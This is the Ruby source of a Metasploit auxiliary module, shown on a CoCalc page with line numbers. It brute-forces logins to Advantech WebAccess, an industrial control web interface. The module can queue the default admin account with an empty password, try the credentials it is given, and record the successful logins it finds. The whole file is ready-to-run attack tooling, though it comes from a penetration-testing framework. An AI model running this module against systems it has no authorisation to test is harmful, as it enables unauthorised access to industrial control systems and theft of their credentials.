CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'metasploit/framework/login_scanner/advantech_webaccess'
7
require 'metasploit/framework/credential_collection'
8

9
class MetasploitModule < Msf::Auxiliary
10
  include Msf::Exploit::Remote::HttpClient
11
  include Msf::Auxiliary::AuthBrute
12
  include Msf::Auxiliary::Report
13
  include Msf::Auxiliary::Scanner
14

15
  def initialize(info={})
16
    super(update_info(info,
17
      'Name'        => 'Advantech WebAccess Login',
18
      'Description' => %q{
19
        This module will attempt to authenticate to Advantech WebAccess.
20
      },
21
      'Author'      => [ 'sinn3r' ],
22
      'License'     => MSF_LICENSE,
23
      'DefaultOptions' =>
24
        {
25
          'RPORT'      => 80
26
        }
27
    ))
28

29
    register_options(
30
      [
31
        OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']),
32
        OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:[empty]', false])
33
      ])
34
  end
35

36

37
  def scanner(ip)
38
    @scanner ||= lambda {
39
      cred_collection = build_credential_collection(
40
        username: datastore['USERNAME'],
41
        password: datastore['PASSWORD']
42
      )
43

44
      if datastore['TRYDEFAULT']
45
        print_status("Default credential admin:[empty] added to the credential queue for testing.")
46
        cred_collection.add_public('admin')
47
        cred_collection.add_private('')
48
      end
49

50
      return Metasploit::Framework::LoginScanner::AdvantechWebAccess.new(
51
        configure_http_login_scanner(
52
          host: ip,
53
          port: datastore['RPORT'],
54
          cred_details:       cred_collection,
55
          stop_on_success:    datastore['STOP_ON_SUCCESS'],
56
          bruteforce_speed:   datastore['BRUTEFORCE_SPEED'],
57
          connection_timeout: 5,
58
          http_username:      datastore['HttpUsername'],
59
          http_password:      datastore['HttpPassword'],
60
          uri:                target_uri.path
61
        ))
62
    }.call
63
  end
64

65

66
  def report_good_cred(ip, port, result)
67
    service_data = {
68
      address: ip,
69
      port: port,
70
      service_name: 'http',
71
      protocol: 'tcp',
72
      workspace_id: myworkspace_id
73
    }
74

75
    credential_data = {
76
      module_fullname: self.fullname,
77
      origin_type: :service,
78
      private_data: result.credential.private,
79
      private_type: :password,
80
      username: result.credential.public,
81
    }.merge(service_data)
82

83
    login_data = {
84
      core: create_credential(credential_data),
85
      last_attempted_at: DateTime.now,
86
      status: result.status,
87
      proof: result.proof
88
    }.merge(service_data)
89

90
    create_credential_login(login_data)
91
  end
92

93

94
  def report_bad_cred(ip, rport, result)
95
    invalidate_login(
96
      address: ip,
97
      port: rport,
98
      protocol: 'tcp',
99
      public: result.credential.public,
100
      private: result.credential.private,
101
      realm_key: result.credential.realm_key,
102
      realm_value: result.credential.realm,
103
      status: result.status,
104
      proof: result.proof
105
    )
106
  end
107

108
  def bruteforce(ip)
109
    scanner(ip).scan! do |result|
110
      case result.status
111
      when Metasploit::Model::Login::Status::SUCCESSFUL
112
        print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
113
        report_good_cred(ip, rport, result)
114
      when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
115
        vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
116
        report_bad_cred(ip, rport, result)
117
      when Metasploit::Model::Login::Status::INCORRECT
118
        vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
119
        report_bad_cred(ip, rport, result)
120
      end
121
    end
122
  end
123

124
  def run_host(ip)
125
    unless scanner(ip).check_setup
126
      print_brute(:level => :error, :ip => ip, :msg => 'Target is not Advantech WebAccess')
127
      return
128
    end
129

130
    bruteforce(ip)
131
  end
132
end
133

134